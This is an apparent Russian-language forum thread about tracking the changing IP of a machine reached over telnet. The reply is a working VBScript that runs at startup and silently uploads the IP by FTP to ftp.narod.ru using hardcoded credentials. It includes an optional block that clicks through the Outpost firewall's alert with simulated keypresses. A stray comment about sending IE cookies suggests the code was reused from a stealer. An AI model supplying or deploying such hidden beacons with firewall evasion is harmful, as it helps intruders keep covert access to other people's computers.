Есть доступ к телнету, но ip адрес его каждый раз меняется. Поэтому вопрос, как можно узнавать каждый раз ip адрес?
VBS script.Выручал оч много раз Code: On Error Resume Next newfolderpath = "C:\WEB" 'Папка где находится скрипт login="фтп-логин" password="фтп-пасс" ftpp="ftp.narod.ru" '================================================= === ' Узнаем текущий IP и пишем его в файл '================================================= === set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator") set objService = objLocator.ConnectServer (server, "", username, password) strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE" set objEnumerator = objService.ExecQuery(strQuery) for each obj in objEnumerator if Not IsNull(obj.IPAddress) then for i=LBound(obj.IPAddress) to UBound(obj.IPAddress) GetIPaddress = obj.IPAddress(i) 'Узнаем текущий (реальный) наш IP Str = GetIPaddress next end if next FileDestination = "ip.txt" Set FSO = CreateObject("Scripting.FileSystemObject") Set Destination = FSO.CreateTextFile(FileDestination) Destination.WriteLine Str set Destination = Nothing Set FSO = Nothing set objLocator = Nothing '================================================= ================================================== ============ 'Отправляем на фтп текущий IP 'Отсылаем на ФТП на narod.ru 'Создаем файл сценария для FTP.EXE set FSO = CreateObject("Scripting.FileSystemObject") Set WSHshell = WScript.CreateObject("WScript.Shell") Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту cScript.WriteLine "" & login & "" '- Имя пользователя cScript.WriteLine "" & password & "" '- Пароль cScript.WriteLine "drive C:" '- Выбраем диск С cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу cScript.WriteLine "binary" ' - метод передачи файлов по FTP cScript.WriteLine "PUT ip.txt"'- Отправляем IP cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru cScript.Close '- Конец записи в файл сценария ' Запускаем FTP-сценарий WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0 ' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------) 'set w=CreateObject("WScript.Shell") 'a=0 'do 'r=W.AppActivate("ftp.exe") 'if r then 'a=1 'w.SendKeys "{tab 2}" 'w.SendKeys "{enter}" 'end if 'loop until a=1 'set w=Nothing '--------------------------- Set fso = Nothing Set WSHshell = Nothing '================================================= === 'А теперь запускаем цикл проверки на изменение IP '================================================= === Const ForReading = 1 Str=1 s=2 if Str<>s then While 1 WScript.Sleep 10000 ' Сканим на изменение IP раз в 15 минут set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator") set objService = objLocator.ConnectServer (server, "", username, password) strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE" set objEnumerator = objService.ExecQuery(strQuery) for each obj in objEnumerator if Not IsNull(obj.IPAddress) then for i=LBound(obj.IPAddress) to UBound(obj.IPAddress) GetIPaddress = obj.IPAddress(i) 'Узнаем текущий (реальный) наш IP Str = GetIPaddress next end if next Set FSO = Nothing set objLocator = Nothing Set FSO = CreateObject("Scripting.FileSystemObject") Set ts = FSO.OpenTextFile("ip.txt", ForReading) s = ts.ReadLine ts.Close Set FSO = Nothing Set ts = Nothing if Str<>s then FileDestination = "ip.txt" Set FSO = CreateObject("Scripting.FileSystemObject") Set Destination = FSO.CreateTextFile(FileDestination) Destination.WriteLine Str set Destination = Nothing Set FSO = Nothing '================================================= ================================================== ============ 'Отправляем на фтп новый IP (уже в цикле, каждые 15 минут, в случае, если IP изменился) 'Отсылаем на ФТП на narod.ru 'Создаем файл сценария для FTP.EXE set FSO = CreateObject("Scripting.FileSystemObject") Set WSHshell = WScript.CreateObject("WScript.Shell") Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту cScript.WriteLine "" & login & "" '- Имя пользователя cScript.WriteLine "" & password & "" '- Пароль cScript.WriteLine "drive C:" '- Выбраем диск С cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу cScript.WriteLine "binary" ' - метод передачи файлов по FTP cScript.WriteLine "PUT ip.txt"'- Отправляем куки от IE cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru cScript.Close '- Конец записи в файл сценария ' Запускаем FTP-сценарий WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0 ' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------) 'set w=CreateObject("WScript.Shell") 'a=0 'do 'r=W.AppActivate("ftp.exe") 'if r then 'a=1 'w.SendKeys "{tab 2}" 'w.SendKeys "{enter}" 'end if 'loop until a=1 'set w=Nothing '--------------------------- Set fso = Nothing Set WSHshell = Nothing end if Wend end if
Создай txt документ и смени расширение у него на VBS. А потом кидай его в автозагрузку. После этого тебе на фтп будет "приходить" txt документ с ip.